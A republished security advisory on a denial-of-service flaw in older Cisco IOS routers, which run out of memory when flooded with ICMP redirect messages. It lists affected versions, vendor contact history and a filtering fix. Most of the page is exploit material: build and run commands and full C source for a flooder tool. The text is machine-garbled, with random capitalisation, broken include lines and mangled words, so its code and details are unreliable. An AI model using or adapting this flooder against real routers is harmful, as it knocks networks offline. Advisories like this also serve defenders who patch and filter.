Cisco ios icmp Redirect DoS

Source: Internet
Author: User

Visio OS opera linux ie

Cisco Systems IOS is vulnerable to a denial-of-service attack using ICMP
Redirect messages.

When flooded with ICMP redirect messages, the IOS uses up all its memory

To store the new host routes. The device is then unable to perform
Operations that need additional memory such as processing ing routing updates
And accepting inbound telnet (1) connections.

DETAILS

Known vulnerable combinations:
* Cisco 1005 with IOS 11.0 (18)
* Cisco 1603 with IOS 11.3 (11b)
* Cisco 1603 with IOS 12.0 (3)
* Cisco 2503 with IOS 11.0 (22a)
* Cisco 2503 with IOS 11.1 (24a)

Known to be not vulnerable:
* Cisco 1603 with IOS 12.1 (11)
* Cisco 1603 with IOS 12.2 (5)
* Cisco 2503 with IOS 11.2 (26a)
* Cisco 2503 with IOS 11.3 (11b)
* Cisco 2503 with IOS 12.0 (19)

Description:
ICMP redirect messages are used in IP networks to inform a sending device
About inefficient routing. Cisco IOS software stores redirect messages it
Es in memory for further consultation. They do not become part
The normal routing table.

When generating ICMP redirect messages with random IP addresses in
"Offending packet" section of the ICMP frame, IOS will include this IP
Address in its ICMP redirection table. In the vulnerable versions of IOS,
This table has no size limit. Later versions of IOS enforce a limit
16000 redirects and therefore limit the amount of used memory
Approximately 1.16 MB.

Some device/IOS combinations tested were unable to perform normal IP
Routing for a limited time, but most combinations continued to function
A router. In some cases, even access to the console was denied because
Low memory.

According to Gaus, affected devices shold
Recover after 4 hours since the redirect table entries time out. However,
Vulnerable versions tested did not recover.

Vendor status:
11/16/2001 to 05/05/2002 Contacted Cisco 8 times over past 6 months
Concerning status.
05/07/2002 Gaus says Cisco developers assigned a low priority to the bug.
05/11/2002 Provide a copy of this file to Cisco prior to publication.
05/20/2002 Final corrections by Cisco sorted ded.
05/21/2002 Info from Cisco: Fix available shortly.

Example:
To generate random ICMP redirect messages, a sender tool is available

Http://www.phenoelit.de/irpas/icmp_redflod.c, which has to be linked
The IRPAS packet library.

Linuxbox # cd/where/irpas/is
Linuxbox # make libpackets.
Linuxbox # gcc-o icmp_redflod-I.-L. icmp_redflod.c-lpackets
Linuxbox #./icmp_redflod-I eth0-D-G

On high bandwidth networks, the command line switch-w0 can be used
Increase the sending rate.

Solution:
Filter inbound ICMP redirect messages or update your IOS to either a not
Vulnerable release or a fixed version when these become available.

Exploit code:
/* ICMP redirect flooder
*
* FX
* Phenoelit (http://www.phenoelit.de)
* (C) 2 k ++
*
* $ Id: icmp_redflod.c, v 1.3 2002/05/11 14:59:06 fx Exp fx $
*/
# Include
# Include
# Include
# Include
# Include
# Include
# Include
# Include
# Include
# Include
# Include
# Include

# Include "protocols. h"
# Include "packets. h"
# Include "build. h"

# Include
# Include

/* Definitions */
# Define IPTTL 0x80

# Define DEFAULT_DELAY 100000

# Define BANNER "ICMP Redir Flooder $ Revision: 1.3 $ \ n" "\ t (c) 2 k + + FX \ n" "\ tPhenoelit (http://www.phenoelit.de) \ n"

/* Config */
Struct {
Int verbose;
Char * device;
Int flood;

Int spoof_src;
Int code;
Struct in_addr dest;
Struct in_addr src;
Struct in_addr gw;
Unsigned int delay;
} Cfg;


/*
* Globals
*/
U_char * rawpacket;
Int icmpsfd;

Sig_atomic_t stop_flag = 0;
Unsigned long iii = 0;


/************************************
* Prototypes */
Void usage (char * n );

U_char * construct_icmp_redirect (struct in_addr * dest,
Struct in_addr * newgw, int * psize );

/* PCAP */
Void signaler (int sig );


/* The main function */
Int main (int argc, char ** argv ){
Char option;
Extern char * optarg;
U_char * icp;
Int icl;


Memset (& cfg, 0, sizeof (cfg ));
Cfg. delay = DEFAULT_DELAY; cfg. flood = 1; cfg. code = 0xFF;
While (option = getopt (argc, argv, "vfc: I: S: G: D: w :"))! = EOF ){
Switch (option ){
Case 'V':/* verbose */
Cfg. verbose ++;
Break;
Case 'F': cfg. flood = 0;
Break;
Case 'I':/* local network device */
Cfg. device = smalloc (strlen (optarg) + 1 );
Strcpy (cfg. device, optarg );
Break;
Break;
Case's ':/* spoof source */
If (inet_aton (optarg, & (cfg. src) = 0 ){
Fprintf (stderr,
"Source IP address seems to be wrong \ n ");
Return (1 );
}
Cfg. spoof_src ++;
Break;
Case 'G':/* set gw */
If (inet_aton (optarg, & (cfg. gw) = 0 ){
Fprintf (stderr,
"Gateway IP address seems to be wrong \ n ");
Return (1 );
}
Break;
Case 'D':/* dest address */
If (inet_aton (optarg, & (cfg. dest) = 0 ){
Fprintf (stderr,
"Dest IP address seems to be wrong \ n ");
Return (1 );
}
Break;
Case 'W': cfg. delay = atoi (optarg );
Break;
Case 'C': cfg. code = atoi (optarg );
Break;
Default: usage (argv [0]);
}
}

If (! Cfg. device) usage (argv [0]);

/*
* TODO: add output on what we are about to do
*/


Srand (unsigned int) time (NULL ));
/* Set up ICMP sender socket (IP )*/
If (icmpsfd = init_socket_IP4 (cfg. device, 0) <0) return (-1 );

/* If spoofing is enabled, copy it */
If (! Cfg. spoof_src ){
Memcpy (& (cfg. src. s_addr), & (packet_ifconfig.ip.s_addr), IP_ADDR_LEN );
}

/* Signal handling */
Signal (SIGTERM, & signaler );
Signal (SIGABRT, & signaler );
Signal (SIGINT, & signaler );

/* My shit */
Printf (BANNER); printf ("\ tIRPAS build % s \ n", BUILD );
Printf ("Deming flood... \ n ");

If (cfg. flood ){
While (! Stop_flag ){
Icp = construct_icmp_redirect (& (cfg. dest), & (cfg. gw), & icl );
Sendpack_IP4 (icmpsfd, icp, icl );
Free (icp );
If (cfg. delay> 0) usleep (cfg. delay );
}
} Else {
Icp = construct_icmp_redirect (& (cfg. dest), & (cfg. gw), & icl );
Sendpack_IP4 (icmpsfd, icp, icl );
Free (icp );
}

/* At the end of the day, close our socket */
Close (icmpsfd );
Printf ("Send % lu packets \ n", iii );

Return (0 );
}



/********************** FUNCTIONS **************** ******/


Void signaler (int sig ){
Stop_flag ++;
If (cfg. verbose> 2)
Fprintf (stderr, "\ nSignal received. \ n ");
}


/* Constructs the ICMP redirect
** Returns a pointer to the packet or NULL if failed
** Returns also the size in * psize */
U_char * construct_icmp_redirect (struct in_addr * dest,
Struct in_addr * newgw, int * psize ){
# Define PADDING 0
U_char * tpacket;
Iphdr_t * iph, * iporig;
Icmp_redirect_t * icmp;
U_int16_t cs;
Unsigned int randip;

* Psize = sizeof (icmp_redirect_t) + sizeof (iphdr_t) + PADDING;
Tpacket = (u_char *) smalloc (* psize
+ 3/* for my checksum function, which sometimes
Steps over the mark */
);

/* Make up IP packet */
Iph = (iphdr_t *) tpacket;

Iph-> version = 4;
Iph-> ihl = sizeof (iphdr_t)/4;

Iph-> tot_len = htons (* psize );
Iph-> ttl = IPTTL;
Iph-> id = htons (1 + (int) (65535.0 * rand ()/(RAND_MAX + 1.0 )));
Iph-> protocol = IPPROTO_ICMP;

Memcpy (& (iph-> saddr. s_addr), & (cfg. src. s_addr), IP_ADDR_LEN );
Memcpy (& (iph-> daddr. s_addr), & (dest-> s_addr), IP_ADDR_LEN );

/* Make up the icmp header */
Icmp = (icmp_redirect_t *) (tpacket + sizeof (iphdr_t ));
Icmp-> type = ICMP_REDIRECT;
If (cfg. code = 0xFF)
Icmp-> code = ICMP_REDIR_HOST;
Else
Icmp-> code = (unsigned char) cfg. code;
Memcpy (& (icmp-> gateway), & (newgw-> s_addr), IP_ADDR_LEN );
Iporig = (iphdr_t *) (& (icmp-> headerdata ));

Iporig-> version = 4;
Iporig-> ihl = sizeof (iphdr_t)/4;
Iporig-> tot_len = htons (1 + (int) (65535.0 * rand ()/(RAND_MAX + 1.0 )));
Iporig-> id = htons (1 + (int) (65535.0 * rand ()/(RAND_MAX + 1.0 )));
Iporig-> protocol = IPPROTO_UDP;
Memcpy (& (iporig-> saddr. s_addr), & (cfg. dest. s_addr), IP_ADDR_LEN );
Randip = (unsigned int) (4294967294.0 * rand ()/(RAND_MAX + 1.0 )));
Memcpy (& (iporig-> daddr. s_addr), & (randip), IP_ADDR_LEN );
Iii ++;

/* Make up checksum */
Cs = chksum (u_char *) icmp, sizeof (icmp_redirect_t ));
Icmp-> checksum = cs;

Return tpacket;
}

Void usage (char * n ){
Printf (
"% S [-v [v [v] [-f]-I \ n"
"\ T [-D \ n"
"\ T [-G] [-w] \ n"
"\ T [-S] [-c ICMP code] \ n ",
N );
Exit (1 );
}


ADDITIONAL INformATION

Related Article

Contact Us

The content source of this page is from Internet, which doesn't represent Alibaba Cloud's opinion; products and services mentioned on that page don't have any relationship with Alibaba Cloud. If the content of the page makes you feel confusing, please write us an email, we will handle the problem within 5 days after receiving your email.

If you find any instances of plagiarism from the community, please send an email to: info-contact@alibabacloud.com and provide relevant evidence. A staff member will contact you within 5 working days.

A Free Trial That Lets You Build Big!

Start building with 50+ products and up to 12 months usage for Elastic Compute Service

  • Sales Support

    1 on 1 presale consultation

  • After-Sales Support

    24/7 Technical Support 6 Free Tickets per Quarter Faster Response

  • Alibaba Cloud offers highly flexible support services tailored to meet your exact needs.